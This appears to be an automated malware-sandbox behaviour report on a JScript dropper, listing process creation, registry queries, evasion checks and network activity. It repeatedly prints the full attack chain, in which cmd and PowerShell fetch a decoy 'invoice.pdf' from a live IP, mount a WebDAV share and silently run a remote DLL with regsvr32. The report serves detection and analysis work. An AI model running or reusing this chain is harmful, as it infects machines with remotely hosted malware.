Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\9797.js.csv");ITextStream.WriteLine(" entry:8758 f:fijxrijj");ITextStream.WriteLine(" exec:2 f:fijxrijj");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4898			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4971			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5948	Thread sleep count: 4898 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4160	Thread sleep count: 4971 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7104	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5008	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 6448	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7360	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2133302660.000001F2B74B6000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2133010394.000001F2B7458000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2129666686.000001F2B74B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3350991733.00000225A5859000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000009.00000002.3349500081.00000225A022B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll	Jump to behavior
